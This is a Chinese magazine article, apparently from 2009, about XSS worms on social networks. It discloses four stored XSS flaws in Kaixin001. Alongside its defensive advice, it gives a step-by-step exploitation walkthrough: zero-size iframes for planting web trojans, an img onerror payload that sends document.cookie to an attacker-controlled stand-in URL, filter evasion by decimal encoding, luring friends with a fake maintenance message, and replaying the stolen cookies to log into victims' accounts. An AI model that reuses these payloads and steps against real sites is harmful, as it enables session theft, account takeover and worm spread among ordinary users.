蠕虫阴影 笼罩社交网站——开心网0Day漏洞缠身
热点直击
世界末日、冲击波、震荡波……这些以前赫赫有名的蠕虫,相信大家都还有记忆吧。如今,这些老蠕虫已经销声匿迹了,火爆的是社交蠕虫。在2009年过去的8个月中,几乎每个月都有社交网站爆发蠕虫攻击事件,下一个被蠕虫攻击的网站可能就是开心网……
警告:蠕虫在蔓延
8月25日,一个非常普通的星期二,然而在网络中的这一天,著名的中文SNS网络社区人人网却在经历一场与蠕虫的斗争。一个利用XSS跨站脚本漏洞进行传播的蠕虫正伪装成视频,快速地传播,而这距校内网更名为人人网仅几天的时间。
然而,这并非个案,早在4月份,拥有最多华人用户的IM软件——QQ中的QZone空间就被黑客利用跨站脚本漏洞进行蠕虫散播,最终导致上万用户空间遭到袭击。而更早之前,百度空间也曾被黑客利用跨站脚本漏洞散播蠕虫病毒,近万名用户的百度空间成为了蠕虫的乐园。
进入2009年,透过SNS社交网站漏洞传播的蠕虫越来越多,来自安天实验室的报告显示社交蠕虫几乎以每月一个的速度在传播。不仅是在数量上增加,社交蠕虫也变得“贪婪”起来,蠕虫作者如今已经让蠕虫在套取用户信息后,向受害者的好友发送诈骗信息,企图谋取钱财。
危机:开心网连爆漏洞
在国内,依靠“争车位”、“朋友买卖”等几个简单的组件和病毒式的传播,开心网以一种不可思议的速度在各个办公室之间蔓延。无疑,火爆的人气带来的也有潜在的危险。
本周,《电脑报》在第一时间获得多个开心网漏洞,而这些漏洞全是未公开,仅在黑客圈内部流传的0Day漏洞。
在这些漏洞中,就存在能够被黑客利用来制作蠕虫的高危漏洞。对于有经验的黑客,利用该漏洞并非难事。如果漏洞未能够及时修补,那么对于开心网所有的用户而言,这就是一个潜伏的定时炸弹。
黑客可以通过编写社交蠕虫感染至少数万名用户,获取到他们的个人信息、好友信息,这些信息足以构成一个环环相扣的人际关系网,黑客对于人际关系网又有多种利用方式,贩卖信息、诈骗、构造虚假身份等都可以实现。
这并不是一个悲观的推论。今年1月,美国居民布莱恩朋友们的Facebook邮箱收到布莱恩发来的求助信,有朋友相信了信中内容汇了钱,后来他们才知道是蠕虫病毒搞鬼,他们的钱被骗走了。此外,蠕虫病毒还可能导致开心网瘫痪、日志等文件被莫名其妙删除。
需要特别注意的是,开心网中的漏洞还不止我们发现的这几个,还有可以被利用来制作蠕虫的高危漏洞资料在黑客圈秘密流传。
影响:被放大的蠕虫效应
根据六度分隔理论的假设,世界上所有互不相识的人只需要很少的中间人就能建立起联系,而平均只需六个人就可以联系任何两个互不相识的人。在这个理论上发展出的SNS社交网站就是这样一个层层交织的社会关系网。
当你注册成为SNS社交网站用户的那一刻起,你就与社交网站中的好友建立了一种网状的联系,而这种网状的联系会通过社区中的资源分享、小游戏等互动要素变得更加的紧密。这实际上是将原来分散的个人用户凝聚到了一起,并且是一个有交织网络的群体,而这个群体对于黑客来说,充满了诱惑的美味。
如果开心网出了蠕虫病毒,黑客又释放了蠕虫病毒,在社交网站中打开自己好友发送的短信或者分享的视频等信息时,就被病毒感染了,然后就会将自己的所有好友都拖入病毒传播的链条中,自己就变成病毒的传播者。这如同在人群密集处有一个传染性极强的流感患者,只需要很短的时间,通过人与人的接触,所有的人都会感染流感。
安全小百科:雅虎公司的研究人员几年前发现,如果一个人点击某条广告,他或她的密友点击相同广告的几率就是其他人的3倍或4倍。这个结论直接证明了朋友之间乐于相互分享兴趣。
对策:Web 2.0的安全新规则
Web 2.0时代,随着网站的交互性增强,跨站挂马、Cookie截获等以前不被重视的黑客技术已经泛滥成灾了。因此制定Web 2.0时代的安全新规则,将是未来应对网站新威胁的手段。
Web 2.0网站将建立一套安全检测机制和安全交流机制。建立安全检测机制的目的是为了定期检测网站,及早发现网站的漏洞,及早进行漏洞的修补。建立安全交流机制的目的是为了与大型安全研究团队建立交流通道,以便网站出现安全隐患能第一时间知道。
对普通用户而言,上网时一定要开启杀毒软件的实时监控功能,最好使用带网页木马拦截功能的安全辅助工具。遇到网址,不要盲目点击,先看看网址是不是被加密过,如果网址被加密过就最好不要点击。
开心网漏洞解读
这一次发现的开心网的四个漏洞中,全部是因为网站过滤不严而导致的。也正是因为这种过滤不严,而网站又由于结构复杂存在大量该类型的漏洞,才让黑客可以借题发挥,通过和Cookie截获配合制造出能够引起严重后果的社交蠕虫。
目前,第一个漏洞出在群像册组件处,第二个漏洞出在音乐组件专辑名称处,第三个漏洞出在音乐组件歌曲注释处,第四个漏洞出在音乐组件歌词处,主要问题都是iframe过滤不严。
此外,音乐组件歌曲注释漏洞还有img过滤不严的问题。音乐组件歌词漏洞还有img和过滤不严的问题,且此处对输入的字符的长度没有限制,所以比较适合进行Cookie的窃取。漏洞利用的代码是<iframe src=http://www.baidu.com width=500 height=500></iframe>。
安全小百科:跨站脚本漏洞就如同一个商场中没有保安和管理人员一样,在这样一个缺乏有效监管和审查的商场中,自然会有冒充商场人员的骗子混进来摆摊设点,而消费者则会将这些骗子误认为是商场的员工,被这些骗子骗了也会认为是被商场骗了,会将怒气发泄到商场身上。
四大开心网漏洞揭秘
群像册组件漏洞
漏洞危害:能用来挂马
漏洞原因:iframe过滤不严
漏洞状况:已通知修改
威胁指数:★★★★
漏洞利用:首先,制作一个网页木马。例如下载一款Flash 漏洞生成器,在“生成”中输入木马的地址(该木马已经上传到指定的网站空间中),点击“生成”按钮即可,再将生成的网页木马上传到指定的网站空间中。
然后,注册一个开心网账号,用账号登录后进入群像册,创建一个群像册专辑。在群像册专辑名称处输入代码<iframe src=http://www.baidu.com width=500 height=500></iframe>,点击“确定”按钮,百度就被嵌入开心网中了(图1)。

接着,将上述代码中的www.baidu.com替换为木马地址,将width(嵌入框架的宽度)和height(嵌入框架的高度)的值都设为0,就可以挂马了。最后等用户浏览群像册或者四处宣传引诱用户浏览群像册就可以了。
音乐组件专辑名称漏洞
漏洞危害:能用来挂马
漏洞原因:iframe过滤不严
漏洞状况:已通知修改
威胁指数:★★★★
漏洞利用:在音乐组件中点击“创建新专辑”,在弹出的对话框的输入专辑名称处输入代码<iframe src=http://www.baidu.com width=500 height=500></iframe>,点击“创建”按钮即可完成新专辑的创建。
点击新建的专辑名称,进入播放界面后就会在左边弹出嵌入的百度页面(图2)。同理,如果我们把百度地址换成木马地址,将width和height的值都设为0就可以挂马了。最后等用户浏览音乐专辑或者四处宣传引诱用户浏览音乐专辑就可以了。

音乐组件歌曲注释漏洞
漏洞危害:能用来挂马
漏洞原因:iframe、img过滤不严
漏洞状况:已通知修改
威胁指数:★★
漏洞利用:首先,随便上传一首MP3歌曲。点击“音乐”,任意输入一个专辑名称,再点击“创建→上传歌曲”,在此处输入歌曲名称、类型等信息,点击“下一步→继续上传步骤→浏览”,选择一个音乐文件,点击“开始上传”。
然后在注释文本框中输入代码<iframe src=http://www.baidu.com width=500 height=500></iframe>,点击“确定”按钮,百度就出现在开心网的歌词注释处了。同理,把百度地址换成木马地址,将width和height的值都设为0就可以挂马了。最后四处宣传链接,引诱用户点击链接激活木马。
音乐组件歌词漏洞
漏洞危害:能用来挂马、窃取Cookie信息、制作蠕虫
漏洞原因:iframe、img、过滤不严
漏洞状况:已通知修改
威胁指数:★★★★★
第一步:进入补充歌词页面,在“LRC歌词”文本框中输入代码<iframe src=http://www.baidu.com width=500 height=500></iframe>,点击“保存”按钮,再播放该音乐就可以看到百度了(图3)。

第二步:准备好Cookie截取代码(网上下载),再创建一个名为Cookie.txt的纯文本文件,它的作用是记录已截取的Cookie信息。接下来将这两个文件上传到空间中,这时Cookie截取文件的地址就是http://www.yourname.com/Cookie.asp(yourname为实际域名地址)。
安全小百科:Cookie由服务器端生成,发送给浏览器,浏览器会将Cookie保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器(前提是浏览器设置为启用Cookie)。Cookie名称和值可以由服务器端自己定义,这样服务器就能知道该用户是不是合法用户以及是否需要重新登录等。
第三步:点击“修改歌曲信息 ”,在修改歌曲信息页面中的歌词处输入代码<img src="cj.gif"onerror="document.location='http://www.yourname.com/Cookie.aspCookie='+document.Cookie"/>,点击“确定”按钮保存。

再点击歌曲右侧的“给好友点歌”,在弹出的点歌窗口中选择好友(图4),点击“确定”即可。当好友打开歌曲播放页面时,会跳出“开心网音乐组件正在维护中,给你带来的不便请谅解”的提示框(图5),此时他的Cookie信息已被截获(图6)。

安全小百科:要弹出提示窗口,需要把跨站代码转换成十进制(开心网过滤了script)。在网上随便找一款代码转换器,将之前的代码转换即可。

最后下载一款可以修改Cookie的浏览器,例如《Cookies浏览器》,打开开心网首页,在登录框处把我们刚刚截取到的Cookie替换到相应位置,然后点击“修改”就可以顺利登录好友的账号了。
开心网存在的跨站脚本漏洞不止我们上面提到的这几个,如何才能查找到此类漏洞呢?除了手动对输入框逐一检测外,还可以使用XSS漏洞检测工具,例如XSS LFI File Disclosure Scanner、Paros 等,对全站页面结构进行扫描,极有可能发现新的安全漏洞。其他社交网站也可能存在类似的漏洞,也可以用同样的方法进行检测。
如何才能最大程度地避免出现此类漏洞呢?在网站建设初期,要加强对用户输入内容的可靠性的限制管理,要对有输入框页面的富文本输入进行代码测试,在测试过程中如页面有任何框架变形或脚本错误提示,即预示着此页面极有可能存在跨站脚本漏洞。
此外,对带参数的链接也要进行参数替换测试,例如我们之前报道的赶集网跨站脚本漏洞就存在着对参数过滤不严的问题。同时,最好在网站开发的全程阶段,引入专业的黑盒与白盒测试工具,建立完善的富文本过滤层。相信做到上述这些后,定能极大地增强网站的安全性,做到滴水不漏。